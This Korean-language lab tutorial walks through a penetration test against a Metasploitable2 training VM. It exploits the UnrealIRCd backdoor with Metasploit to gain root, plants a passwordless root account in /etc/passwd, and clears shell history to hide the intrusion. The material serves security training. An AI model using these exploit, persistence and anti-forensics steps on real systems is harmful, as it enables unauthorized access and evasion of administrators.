소개
이번 실습에서는 침투 공격을 통해 대상 시스템에 성공적으로 접근한 후, 백도어를 생성하고 공격 흔적을 삭제하는 방법을 배웁니다. 실습은 LabEx 환경에서 진행되며, Kali 터미널을 사용하여 Metasploitable2 대상 시스템의 취약점을 공격하고, 루트 권한을 획득한 뒤, 향후 접근을 위한 백도어를 생성하고 공격 과정에서 남은 흔적을 지우는 과정을 수행합니다.
대상 시스템의 루트 권한 획득
이 단계에서는 Unreal Ircd 취약점을 사용하여 대상 시스템의 루트 권한을 획득합니다.
먼저 공격 머신(Kali Linux 컨테이너)과 대상 머신(Metasploitable2 가상 머신)을 시작합니다.
LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령어를 실행하여 Metasploitable2 대상 머신을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다(1~3분 정도 소요될 수 있습니다).
ping을 보내 대상 머신과의 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping을 중지합니다.
Kali Linux 컨테이너를 실행하고 다음 명령어를 통해 bash 환경으로 진입합니다.
docker run -ti --network host b5b709a49cd5 bash
Kali 컨테이너 내부에서 대상 머신으로의 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며, 모의 해킹을 시작할 수 있습니다.
참고: 실수로 현재 bash를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash에 진입하여 실습을 계속할 수 있습니다.
Kali Linux 컨테이너의 bash 터미널에서 다음 명령어를 입력합니다.
service postgresql start
msfdb init
cd ~
msfconsole
이 명령어들은 PostgreSQL 데이터베이스 서비스를 시작하고, 데이터베이스를 초기화하며, 추가 작업을 위해 Metasploit Framework 콘솔(msfconsole)을 실행합니다.
Unreal Ircd 취약점 모듈을 검색합니다.
search unreal_ircd
unix/irc/unreal_ircd_3281_backdoor 모듈을 사용합니다.
use exploit/unix/irc/unreal_ircd_3281_backdoor
대상 IP 주소를 설정합니다.
set RHOST 192.168.122.102
모듈에 사용할 bind shell 페이로드를 선택합니다.
set PAYLOAD cmd/unix/bind_perl
취약점을 공격하여 접근 권한을 획득합니다.
exploit
현재 사용자를 확인합니다.
whoami
대상 시스템에서 루트 권한을 획득했음을 확인할 수 있습니다.
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요.
백도어 생성
이 단계에서는 루트 권한을 획득했으므로, 향후 대상 시스템에 다시 접근하기 위한 백도어를 생성합니다.
먼저 Metasploit 콘솔에 있지 않다면, 콘솔을 시작합니다.
cd ~
msfconsole
시스템 정보를 확인합니다.
uname -a
루트 사용자의 bash 위치를 찾습니다.
cat /etc/passwd
비밀번호가 없는 백도어 계정을 생성합니다.
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
백도어 계정 생성을 확인합니다.
cat /etc/passwd
출력 내용에서 새로운 계정 shiyanlou1234를 확인할 수 있습니다.
새 터미널을 열고 백도어 계정을 사용하여 대상 시스템에 연결합니다.
telnet 192.168.122.102
메시지가 나타나면 사용자 이름 shiyanlou1234를 입력합니다.
현재 사용자를 확인합니다.
whoami
백도어 사용자로 로그인되었음을 확인할 수 있습니다.
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요.
흔적 삭제
이 단계에서는 접근 권한을 획득하고 백도어를 생성한 후, 탐지를 피하기 위해 공격 과정에서 남은 흔적을 삭제하는 것이 중요합니다.
먼저 Metasploit 콘솔에 있지 않다면, 콘솔을 시작합니다.
cd ~
msfconsole
흔적을 삭제하는 일반적인 방법 중 하나는 명령어 기록을 제거하는 것입니다. 기록은 .bash_history 파일에 저장됩니다. 다음 명령어를 사용하여 기록을 삭제할 수 있습니다.
history -c
.bash_history 파일을 삭제하려면 find 명령어를 사용하여 해당 파일의 위치를 찾을 수 있습니다.
find / -name .bash_history
Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요.
요약
이번 실습에서는 Unreal Ircd 취약점을 사용하여 대상 시스템의 루트 권한을 획득하고, 향후 접근을 위한 백도어 계정을 생성하며, 공격 과정에서 남은 흔적을 삭제하는 방법을 배웠습니다. 이러한 실습 경험은 공격자가 성공적인 침투 공격 후 지속적인 접근을 유지하고 자신의 흔적을 숨기기 위해 사용하는 기술을 이해하는 데 도움이 될 것입니다.



